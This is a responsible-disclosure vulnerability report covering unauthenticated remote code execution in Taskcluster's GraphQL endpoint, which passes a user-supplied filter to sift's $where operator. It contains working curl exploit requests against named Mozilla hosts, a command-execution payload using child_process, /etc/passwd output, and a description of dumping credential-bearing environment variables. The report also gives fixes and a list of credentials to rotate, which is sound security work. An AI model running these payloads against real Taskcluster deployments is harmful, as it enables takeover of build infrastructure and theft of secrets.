Unauthenticated RCE in Taskcluster web-server via GraphQL filter argument (sift $where)

How it was found

Summary

The public GraphQL endpoint at /graphql allows an unauthenticated caller to execute arbitrary JavaScript inside the web-server's Node.js process. The query argument filter is a free-form JSON object that the server passes directly into the sift library. The version in use (sift 17.1.3) compiles a $where string into a function using new Function and executes it.

Code execution has been confirmed, including the ability to run shell commands as the node user and read the full process environment. That environment contains PostgreSQL credentials, the Taskcluster deployment access token, Auth0 and GitHub OAuth client secrets, Pulse credentials, and database column-encryption keys. Exploiting this endpoint effectively compromises the entire instance, including the one running Firefox CI.

No authentication, token, or special headers are required. This can be exploited with a single POST request.

Technical Details

Root Cause Chain

1. The filter goes straight into sift. From services/web-server/src/utils/sift.js:

import sift from 'sift';
export default (filter, array) => {
  if (!array) return [];
  return filter ? array.filter(sift(filter)) : array;
};

Whatever JSON the client sends as filter becomes sift(filter) with the default operator set. Nothing is stripped or validated.

2. sift turns a $where string into code. From sift 17.1.3:

const $where = (params, ownerQuery, options) => {
  let test;
  if (isFunction(params)) {
    test = params;
  } else if (!process.env.CSP_ENABLED) {
    test = new Function("obj", "return " + params);   // <-- string becomes code
  } else {
    throw new Error(`In CSP mode, sift does not support strings in "$where" condition`);
  }
  return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);
};

CSP_ENABLED is not set on the deployment (confirmed live: a string $where executes instead of throwing the CSP error), so any string passed is wrapped as new Function("obj", "return " + myString) and called once for each element of the array being filtered.

3. The endpoint is anonymous and the resolver still runs. services/web-server/src/servers/credentials.js calls next() when there is no Authorization header, allowing the request to continue as an anonymous caller. The filter reaches sift through the normal resolver and loader path, for example:

Query.expandScopes(scopes, filter)
  -> loaders/scopes.js : auth.expandScopes({ scopes })  then  sift(filter, expandedScopes)

The same pattern exists for roles, listRoleIds, hookGroups, hooks, and currentScopes.

4. The anonymous role has the required scopes. On firefox-ci-tc the anonymous role grants auth:expand-scopes, auth:list-roles, auth:current-scopes, and hooks:list-hooks:*. The upstream call inside the loader succeeds for an anonymous caller, sift runs on the result, and the $where function fires.

The expandScopes resolver is the most reliable trigger. The upstream handler echoes back the scopes sent, so passing ["assume:anonymous"] guarantees a non-empty array without depending on any roles or hooks existing on the instance.

The thrown error message is returned to the client because services/web-server/src/servers/formatError.js forwards err.message, providing a clean output channel.

Steps To Reproduce

All requests are unauthenticated. No Authorization header is required.

1. Prove code execution (harmless, computed marker)

curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'

Response:

"errors":[{"message":"RCE_42_object", ... }]

6*7 was computed on the server and typeof process is object, confirming this is running in the Node.js process, not parsed as data.

2. Run a command

curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(process.getBuiltinModule(\"child_process\").execSync(\"id\").toString())})()"}}}'

Response:

uid=1000(node) gid=1000(node) groups=1000(node)

cat /etc/passwd over the same path returns:

root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

3. Read the environment

The same technique reads process.env. Here is a redacted slice from firefox-ci-tc. Actual secret material has been stripped but enough structure is retained to show what is present:

NODE_ENV=production
NODE_VERSION=24.15.0
TASKCLUSTER_ROOT_URL=https://firefox-ci-tc.services.mozilla.com
TASKCLUSTER_CLIENT_ID=static/taskcluster/web-server
TASKCLUSTER_ACCESS_TOKEN=<redacted, 65 chars>
READ_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
WRITE_DB_URL=postgresql://taskcluster_web_server:<redacted>@████████/taskcluster?ssl=1
DB_CRYPTO_KEYS=[{"algo":"aes-256","id":"azure","key":"<redacted>"}]
PULSE_USERNAME=firefoxcitc-taskcluster-web-server-v2
PULSE_PASSWORD=<redacted, 32 chars>
UI_LOGIN_STRATEGIES={"mozilla-auth0":{"clientId":"████████","clientSecret":"<redacted>","domain":"auth.mozilla.auth0.com"}}
ERROR_CONFIG={"dsn":"https://<redacted>@o1069899.ingest.sentry.io/6459390","reporter":"SentryReporter"}
SESSION_SECRET=FIXME

community-tc returns the equivalent set with its own database credentials, access token, Pulse password, and a GitHub OAuth clientSecret. On both instances SESSION_SECRET is the literal string FIXME.

A self-contained Python proof of concept is available. --check performs the harmless confirmation in step 1 and is safe to run anywhere. --cmd "id" --confirm demonstrates command execution. --dump-env --confirm returns the environment, and --target points it at another instance.

Confirmed Instances

• firefox-ci-tc.services.mozilla.com (primary target)
• community-tc.services.mozilla.com (also confirmed vulnerable)

Impact

Impact

This is anonymous, internet-facing code execution on the deployment that builds Firefox. The environment variables exposed turn this into total compromise without any additional exploitation:

Immediate Access

• Database credentials: READ_DB_URL and WRITE_DB_URL provide live PostgreSQL credentials for the Taskcluster database
• Deployment access token: TASKCLUSTER_ACCESS_TOKEN is the web-server's own deployment client. Combined with database access, an attacker controls the entire Taskcluster instance
• OAuth secrets: UI_LOGIN_STRATEGIES contains the Auth0 client secret on firefox-ci-tc and GitHub OAuth client secret on community-tc, enabling attacks on the login flow
• Broken session security: SESSION_SECRET is set to FIXME, allowing session cookies to be forged offline independently of this vulnerability
• Database encryption keys: DB_CRYPTO_KEYS decrypts encrypted database columns
• Message queue credentials: PULSE_PASSWORD provides access to the Pulse message broker

Attack Surface

• Command execution as node user: Full shell access inside the pod
• Internal network access: The internal Kubernetes service network is reachable (auth, queue, hooks, secrets, object, worker-manager all resolve from the environment), providing a foothold for lateral movement
• API credential replay: TASKCLUSTER_ACCESS_TOKEN authenticates as the static/taskcluster/web-server client and can be replayed directly against the Taskcluster API, including the secrets service at /api/secrets/v1

Scope of Compromise

This vulnerability has been validated on both firefox-ci-tc and community-tc. The impact chain is: one unauthenticated POST to /graphql → cluster-level credential access → full Taskcluster instance compromise.

Recommended Fixes

In order of preference:

1. Remove sift from untrusted input path: Do not run sift on the raw filter. Map the GraphQL filter onto an allowlist of fields and comparison operators and apply filtering directly, or push filtering down to the upstream service
2. Restrict sift operations: If sift must be used, build the query tester with a restricted operations set that excludes $where, and reject any $-prefixed key not explicitly supported before sift processes it
3. Input validation: Reject $where at the validation layer and give filter a real input type instead of an open JSON scalar

Setting process.env.CSP_ENABLED makes sift throw on a string $where, but this is a fragile mitigation, not a proper fix.

Additional Hardening

• Set a proper SESSION_SECRET (currently FIXME in production)
• Consider running the web-server under a sandbox that blocks spawning child processes, limiting the impact of future JavaScript execution vulnerabilities

Credential Rotation Required

The exact credential values were recovered during testing but have been intentionally excluded from this report to prevent their exposure to HackerOne and all parties with access to this ticket. All credentials are identifiable from the variable names provided above.

Treat the entire web-server environment on both firefox-ci-tc and community-tc as compromised and rotate:

• WRITE_DB_URL and READ_DB_URL (PostgreSQL user taskcluster_web_server)
• TASKCLUSTER_ACCESS_TOKEN (client static/taskcluster/web-server)
• UI_LOGIN_STRATEGIES: Auth0 clientSecret on firefox-ci-tc, GitHub OAuth clientSecret on community-tc
• DB_CRYPTO_KEYS (aes-256, key id azure)
• PULSE_PASSWORD (users firefoxcitc-taskcluster-web-server-v2 / communitytc-taskcluster-web-server-v2)
• ERROR_CONFIG Sentry DSNs
• SESSION_SECRET (currently FIXME; set a real value)

The exact credential values can be provided over an encrypted channel if needed for verification purposes. SHA-256 fingerprints of any specific credential can be included in this report if proof of access is required.

Upstream Impact

This code exists in the taskcluster main branch, so any organization running Taskcluster is exposed. An upstream security advisory should accompany the fix.